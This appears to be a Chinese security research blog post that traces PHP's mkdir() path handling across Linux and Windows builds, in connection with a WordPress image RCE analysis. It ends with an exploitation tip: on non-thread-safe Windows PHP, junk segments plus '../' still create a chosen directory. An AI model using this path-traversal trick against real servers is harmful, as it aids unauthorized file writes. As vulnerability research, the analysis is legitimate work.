列如在kali 下 Imagick::writeImage写入 ./1?/../1.png , ./1? 这个目录是会报错的。具体系统调用如下

1
2
[pid 10285] stat("./1?/../1.png", 0x561a1fe53a48) = -1 ENOENT (No such file or directory)
[pid 10285] openat(AT_FDCWD, "./1?/../1.png", O_RDWR|O_CREAT|O_TRUNC, 0666) = -1 ENOENT (No such file or directory)
首先判断了这个文件的状态,而后调用openat 打开这个文件并不存在。AT_FDCWD表示打开的文件位置相对于当前目录。这是我在做的时候遇到的情况。(Linux)

但是在文章 WORDPRESS IMAGE 远程代码执行漏洞分析

一文中,甚至其他另一篇。都没提到两次写图片。难道因为window和linux的不同吗?就这个问题我进行了一次对mkdir的探究。发现其实有很有趣。

0x02 PHP源码 && 系统区别 之mkdir()

2.1 Linux && PHP 7.3.2-3

1
2
mkdir('./1?/../1',777,true);
mkdir('./1?/../1',777false);

当第三参数为$recursivetrue 时可以写目录,先说一下这个参数的含义$recursive用来循环创建目录。什么意思呢,当false时只能创建1级目录,即目录连接符最后的一个目录。而当true时是可以创建多级目录至到最后一个目录。列如./a/b/c当abc都不存在时,会通过系统函数mkdir循环创建目录,abc都会被创建,但若为false会因为走到a处目录不存在,则不回去创建最后一个c。

但是第一个mkdir即使为true却也没有创建1?目录 ,这里我们从php内部mkdir执行情况 和 系统 mkdir 执行情况来探究。

2.1.1 PHP_FUNTCION(mkdir)

我们在出现分支的地方细分 /php-src/main/streams/plain_wrapper.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int php_plain_files_mkdir(php_stream_wrapper *wrapper, const char *dir, int mode, int options, php_stream_context *context)
{
int ret, recursive = options & PHP_STREAM_MKDIR_RECURSIVE;
char *p;

if (strncasecmp(dir, "file://", sizeof("file://") - 1) == 0) {
dir += sizeof("file://") - 1;
}

if (!recursive) {
ret = php_mkdir(dir, mode);
} else {
/* we look for directory separator from the end of string, thus hopefuly reducing our work load */
char *e;
zend_stat_t sb;
size_t dir_len = strlen(dir), offset = 0;
char buf[MAXPATHLEN];

if (!expand_filepath_with_mode(dir, buf, NULL, 0, CWD_EXPAND )) {
php_error_docref(NULL, E_WARNING, "Invalid path");
return 0;
}
#### 2.1.1.1 \(recursive = fasle 其中出现的分支的地方在判断`\)recursive若是不需要循环创建则直接进入php_mkdir`

/php-src/ext/standard/file.c

1
2
3
4
PHPAPI int php_mkdir(const char *dir, zend_long mode)
{
return php_mkdir_ex(dir, mode, REPORT_ERRORS);
}
跟进php_mkdir_ex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PHPAPI int php_mkdir_ex(const char *dir, zend_long mode, int options)
{
int ret;

if (php_check_open_basedir(dir)) {
return -1;
}

if ((ret = VCWD_MKDIR(dir, (mode_t)mode)) < 0 && (options & REPORT_ERRORS)) {
php_error_docref(NULL, E_WARNING, "%s", strerror(errno));
}

return ret;
}

首先会检查open_basedir,接着会进入VCWD_MKDIR,VCWD_MKDIR是个宏命令,有三种不同定义:

1
2
3
#define VCWD_MKDIR(pathname, mode) virtual_mkdir(pathname, mode)
#define VCWD_MKDIR(pathname, mode) php_win32_ioutil_mkdir(pathname, mode)
#define VCWD_MKDIR(pathname, mode) mkdir(pathname, mode)
在这里我刚开始并没有考虑太多,跟着gdb的流程走,直接执行mkdir(),会直接调用系统的_mkdir().

1
mkdir("./1?/../1", 01411) = -1 ENOENT (No such file or directory)

会直接报错。在预料之类,linux系统下mkdir是不允许这样创建目录的,会效验每一层目录的有效性。回到第一次出现分叉的时候

2.1.1.2 $recursive = true

1
2
3
4
5
6
7
8
9
10
11
else {
/* we look for directory separator from the end of string, thus hopefuly reducing our work load */
char *e;
zend_stat_t sb;
size_t dir_len = strlen(dir), offset = 0;
char buf[MAXPATHLEN];

if (!expand_filepath_with_mode(dir, buf, NULL, 0, CWD_EXPAND )) {
php_error_docref(NULL, E_WARNING, "Invalid path");
return 0;
}

这里会进入expand_filepath_with_mode,这里其实很熟悉,之前也是在看路径处理的时候看到过这个函数,它是一个展开函数,会通过递归的方式展开需要被创建的目录。在其过程会先把相对目录和当前脚本执行目录评价起来,若是绝对目录则忽略. 其中我们的相对目录为 ./1?/../1会变成 /var/www/html/WordPress/wp-content/themes/4/5/6/./1?/../1 当前我所在的目录为 /var/www/html/WordPress/wp-content/themes/4/5/6 然后通过递归的方式 去掉 ../, ./ ,//.并且对应目录前移,会变成 /var/www/html/WordPress/wp-content/themes/4/5/6/1 然后在传递给系统的mkdir函数。

在这个函数里面存在win32 和 linux的不同分支,但在具体处理之前win32判断了目录名不能存在 *

1
2
3
4
5
6
#ifdef ZEND_WIN32
if (memchr(resolved_path, '*', path_length) ||
memchr(resolved_path, '?', path_length)) {
return 1;
}
#endif
注意一下此处! 附上strace 截图,也是验证上诉分析过程
1
mkdir("/var/www/html/WordPress/wp-content/themes/4/5/6/1", 01411) = 0
### 2.1.2 Mkdir In Linux 在linux中单纯的mkdir是会层层验证目录,而后在创建一级目录。mkdir 也可以带参 -p,代表系统层面循环的创建目录。 当执行mkdir -p 时 :
1
2
3
strace -f -e trace=mkdir  mkdir -p  ./1?/../1
mkdir("1?", 0777) = 0
mkdir("1", 0777) = 0
我们能看到它并不像php内部那样,展开而后处理 。它会层层按照输入的目录创建。

2.2 window && PHP 7.0.12

这里是我为什么要探究的一个重要问题点所在,在前面我提到的那篇文章中作者在window下实验当$recursivefalse才能创建成功,正好是反着的。作者的解释的false的时候不会去层层判断,但是真的是这样吗?

而后我也做了一个验证性的实验,在window 上用 php 5.6做了这个测试,但是结果让我疑惑了,无论在false还是 true的情况都不会创建目录.而且报错也很有意思,在false的情况下报错 no error 但是就是无法创建。在true的情况下报错 invaild argument

难道是php-cli 问题?我又用cgi测了一遍,发现同样是这样。有意思,而后我通过邮件联系了那篇文章作者,询问其版本号。很快,得到了他的答复,php-7.0.12

于是下载php-7.0.12源码 重新编译加debug,此处省略1000字... 在编译完成后我迫不及待的试了一下,同样如此和我的php5.6 一摸一样,无论在cli 模式 或者 cgi 模式下都是无法复现作者文中的情况。这到底问题出在哪呢?

先调了再说,VS调试php 网上基本上没有详细的接受,有的都是Vscode。我不知道如何启动并调试,只好想了个attach的办法。在mkdir前面写上sleep(10),还是在php_plain_files_mkdir这个地方下断,刷新页面,attach到启动的php-cgi 上。

2.2.1 PHP_FUNCTION(mkdir)

2.2.1.1 $recursive == false

还是先分析false的情况,前面都一样,不同的是在php_mkdir_exVCWD_MKDIR调用的函数不一样

1
ret = VCWD_MKDIR(dir, (mode_t)mode)

这次走到不一样的调用上

1
#define  VCWD_MKDIR(pathname, mode) virtual_mkdir(pathname, mode)
跟进virtual_mkdir

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
CWD_API int virtual_mkdir(const char *pathname, mode_t mode) 
{
cwd_state new_state;
int retval;
CWD_STATE_COPY(&new_state, &CWDG(cwd));
if (virtual_file_ex(&new_state, pathname, NULL, CWD_FILEPATH)) {
CWD_STATE_FREE_ERR(&new_state);
return -1;
}
#ifdef ZEND_WIN32
retval = mkdir(new_state.cwd);
#else
retval = mkdir(new_state.cwd, mode);
#endif
CWD_STATE_FREE_ERR(&new_state);
return retval;
}

同样调用了virtual_file_ex(),前面有一点没提到,在expand展开路径的过程中最后其实也是进入的这个函数,前面说过在处理的过程中若是win32的情况会判断路径存不存在 *, ?.若是存在则会直接返回1,不会进入后面写路径。为什么那篇文章的作者会在false的情况下写成功呢?

2.2.1.1 $recursive == true

这里前面说过这里会进行expand过程,但是同样会判断路径名中存不存在*, ?,会报错 Invaild Path。

2.2.2 mkdir in window

这里因为没有都没有执行到写目录。此处我们还无法探究window系统mkdir 函数是如何执行的。

0x03 线程安全与非线程安全

重新梳理一下,现在是三种不一样的情况: linux /true 可写 window/7.0.12 : 1. false 可写 2. true/false 都不可写

window 出现了两种情况。仔细在走一遍window/false的情况,现在我唯一没有考虑到是VCWD_MKDIR 选择情况。前面都是跟着调试流程走的,这是唯一可能出现分叉的地方,重新看一下它的两种种宏定义:

1
2
3
4
5
 #ifdef VIRTUAL_DIR
#define VCWD_MKDIR(pathname, mode) virtual_mkdir(pathname, mode)
#else
#define VCWD_MKDIR(pathname, mode) mkdir(pathname, mode)
#endif
若非那片文章作者,是走的第二个define,于是我把第一个define先注释掉了,换上了第二个define,再重新编译一边,结果竟然出现了和那篇作者一样的情况。那么很显然问题现在出现在 VIRTUAL_DIR 定义的情况,在它没有定义的情况下,才会走到第二个define,我看看VIRTUAL_DIR 是在哪被定义的

/php-src/Zend/zend_virtual_cwd.h

1
2
3
#ifdef ZTS
#define VIRTUAL_DIR
#endif
熟悉php内核的朋友不会陌生ZTS,这是php 线程安全的标志。用来应对那些使用线程来处理并发请求的Web服务器,列如window下的IIS,worker_mpm模式下的apahce,生活在线程里面的php需要考虑线程间的读写同时也要保证线程间是安全,所以php需要自己提供ZTS层来管理线程间的操作。当定义了ZTS时候,就也同时定义了虚拟目录(VIRTUAL_DIR),为什么会存在虚拟目录这一说法呢,其实很简单你通过 对应的virtual_file_ex()可以看出来,这个函数的目的在于针对相对路径替换出完整的绝对路径。举很简单的例子,php脚本中写的相对路径,其相对路径一定是针对于该脚本的。在执行脚本的过程中,会进入相应的php 内核里面的php_execute_script(),其中有一步是VCWD_CHDIR_FILE(filename),这是用来根据要执行的脚本位置去切换当前目录,同样这个宏定义有两个不同的函数,一个是在虚拟目录下切换目录,一个是非线程安全环境下单线程切换目录,不同是在线程安全下切换目录,并不是直接调用系统的_chdir(),而是将执行脚本的目录存储在TSRMG中,并给定一个cwd_globals_id,要用的时候再去取,比如创建目录,写文件。因为在多线程环境不能直接修改当前进程的目录,只能预定义一个变量保存各线程的当前目录。

可以看到在线程安全的模式下,若是给的相对路径,都会出现当前目录和相对目录的拼接。且都在win32的环境都会检测目录是否包含* ,?.

0x04 结论汇总

我有主意到那篇的文章作者是在window 上用的phpstudy,我也去看了一下phpstudy的是否有7.0.12的版本,存在一个 php-7.0.12-nts+Apache 确实也是非线程安全。也印证上面我修改php 7.0.12 重新编译的结果,但是一个很有趣的东西是,window的系统调用API _mkdir() 是存在和php内部一样的路径展开功能,即他是允许这样写的./1?/../1 可以在当前目录下写入文件夹1的,这和linux不一样,linux的系统函数是逐层判断。在php7.1之后,改变了系统创建目录的API,从_mkdir 变成了CreateDirectoryW,但是不变的是还是可以存在路径展开的功能。即便你这样写 @@#@$@#$^%$&&**/@!#@!$!%/../../evil也是可以创建目录evil的,可以算是一个小技巧。

但是条件是在windowphp非线程安全模式和PHP_FUNCTION(mkdir)第三个参数为false的情况下是可以这样写目录的。可以算是一个小tips吧。结合相应的应用特点,是可以用到的,而且php版本一般都是非线程安全的,在nginx下都是多进程处理php,即非线程安全。apache只有在worker_mpm才是多线程的,一般也不常用。一般都是prefork_mpm + php_mod,即多进程。利用环境还是比较常见的。

努力在努力,永远不说放弃,终会如愿以偿! --maple